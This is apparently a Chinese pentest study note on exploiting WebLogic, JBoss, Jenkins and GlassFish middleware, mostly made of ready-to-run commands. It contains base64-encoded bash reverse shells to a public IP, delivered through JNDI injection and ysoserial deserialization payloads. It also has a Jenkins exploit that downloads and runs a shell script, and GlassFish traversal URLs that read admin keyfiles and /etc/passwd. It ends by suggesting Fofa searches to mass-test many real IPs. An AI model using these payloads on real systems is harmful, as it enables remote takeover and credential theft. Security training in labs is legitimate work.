总览

知识点:

中间件及框架列表:
IIS,Apache,Nginx,Tomcat,Docker,Weblogic,JBoos,WebSphere,Jenkins ,GlassFish,Jira,Struts2,Laravel,Solr,Shiro,Thinkphp,Spring,Flask,jQuery等
1、中间件-Weblogic安全
2、中间件-JBoos安全
2、中间件-Jenkins安全
3、中间件-GlassFish安全

章节内容:

常见中间件的安全测试:
1、配置不当-解析&弱口令
2、安全机制-特定安全漏洞
3、安全机制-弱口令爆破攻击
4、安全应用-框架特定安全漏洞

前置知识:

中间件安全测试流程:
1、判断中间件信息-名称&版本&三方
2、判断中间件问题-配置不当&公开漏洞
3、判断中间件利用-弱口令&EXP&框架漏洞

应用服务安全测试流程:
1、判断服务开放情况-端口扫描&组合应用等
2、判断服务类型归属-数据库&文件传输&通讯等
3、判断服务利用方式-特定漏洞&未授权&弱口令等

实例

中间件-Weblogic-工具搜哈

探针默认端口:7001,Weblogic是Oracle公司推出的J2EE应用服务器

# 利用工具一把梭,ban掉4个靶场的cmd
# cmd都到手了,就能写个后门代码反弹或者其它操作了。
cve_2017_3506 工具
cve_2018_2893 工具
cve_2018_3245 工具
cve_2020_14882 工具



# 手工测试(暂未成功)
cve_2021_2394 反序列化

https://github.com/lz2y/CVE-2021-2394
https://github.com/welk1n/JNDI-Injection-Exploit

vps生成ldap 监听端口
编码: 必须是自己的云主机
bash -i >& /dev/tcp/47.94.236.117/5566 0>&1
反弹shell编码为base64后填入下面执行句子的-c{内}部分(下面jboos的原理差不多。)
执行:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3LzU1NjYgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 47.94.236.117
发送数据触发
java -jar CVE_2021_2394.jar 123.58.236.76 32185 ldap://47.94.236.117:1389/x1nfdy

中间件-JBoos-工具脚本搜哈

vulfocus靶场不存在这个中间件的漏洞,fofa上面基本找不到了,可能已经淘汰。

Jboss通常占用的端口是1098,1099,4444,4445,8080,8009,8083,8093这几个,
Red Hat JBoss Application Server 是一款基于JavaEE的开源应用服务器。

1、CVE-2017-12149
java -jar ysoserial-master-30099844c6-1.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3LzU1NjYgMD4mMQ==}|{base64,-d}|{bash,-i}" > poc.ser
curl http://47.94.236.117:8080/invoker/readonly --data-binary @poc.ser

2、CVE-2017-7504
java -jar ysoserial-master-30099844c6-1.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3LzU1NjYgMD4mMQ==}|{base64,-d}|{bash,-i}" > 1.ser
curl http://47.94.236.117:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @1.ser

3、弱口令 未授权访问见手册

中间件-Jenkins-工具脚本搜哈

探针默认端口:8080,Jenkins是一个开源软件项目,是基于Java开发的一种持续集成工具,用于监控持续重复的工作。
工具限制的java版本是1.8版本的,版本不一样会导致exp无法运行。

1、cve_2017_1000353 JDK-1.8.0_291 其他版本失效
http://github.com/vulhub/CVE-2017-1000353
bash -i >& /dev/tcp/47.94.236.117/5566 0>&1
java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3LzU1NjYgMD4mMQ==}|{base64,-d}|{bash,-i}"
python exploit.py http://123.58.236.76:54217 jenkins_poc.ser

2、CVE-2018-1000861
https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc
bash -i >& /dev/tcp/47.94.236.117/5566 0>&1
python3 -m http.server 8888

// 尝试下载远程的后门文件,再使用bash执行
// shell.txt内容: bash -i >& /dev/tcp/47.94.236.117/5566 0>&1
python2 exp.py http://123.58.236.76:52281/ "curl -o /tmp/1.sh http://47.94.236.117:8888/shell.txt"
python2 exp.py http://123.58.236.76:52281/ "bash /tmp/1.sh"

3、cve_2019_100300 需要用户帐号密码

中间件-GlassFish-工具脚本搜哈

探针默认端口:4848,GlassFish 是一款强健的商业兼容应用服务器

1、CVE-2017-1000028
读密码:
/theme/META-INF/%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./domains/domain1/config/admin-keyfile
读windows文件:
/theme/META-INF/prototype%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini
读linux文件:
/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd

2、简单口令

配合下-Fofa_Viewer-工具脚本搜哈

1、配合GlassFish读取测试
2、配合Jenkins-CVE-2018-1000861
Fofa_Viewer,搜哈的是符合条件的一大批IP地址,然后进行批量测试